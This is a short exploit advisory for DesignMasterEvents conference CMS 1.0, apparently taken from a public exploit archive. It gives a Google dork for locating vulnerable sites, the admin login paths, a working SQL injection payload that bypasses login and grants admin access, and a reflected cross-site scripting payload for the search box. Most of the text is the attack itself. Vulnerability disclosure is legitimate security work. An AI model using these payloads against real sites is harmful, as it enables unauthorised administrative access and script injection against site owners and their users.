DesignMasterEvents CMS version 1.0 suffers from cross site scripting and remote SQL injection vulnerabilities.
ad266e42f66fca68495c697e74ab0a99# Exploit Title: DesignMasterEvents Conference management CMS SQL Injection Auth Bypass & XSS Vulnerability
# Google Dork: intext:"by :Design Master Events"
# Date: 2020-03-28
# Exploit Author: @ThelastVvV
# Vendor Homepage: http://www.designmasterevents.com
# Version: 1.0
# Tested on: Ubuntu
---------------------------------------------------------
PoC 1:
Authentication Bypass / SQL Injection
# Admin Control Panel Paths :
www.anysite.com/admin/
www.anysite.com/admin/login.php
Payload(s)
USERNAME: admin' or '1' = '1'; -- -
PASSWORD: vvv
the SQL injection attack has resulted in a bypass of the login, and we are now authenticated as "admin".
PoC 2 :
XSS Vulnerability
Payload(s) :
In Search box use payload:
"><img src=x onerror=prompt(document.domain);>
www.anysite.com/certificate.php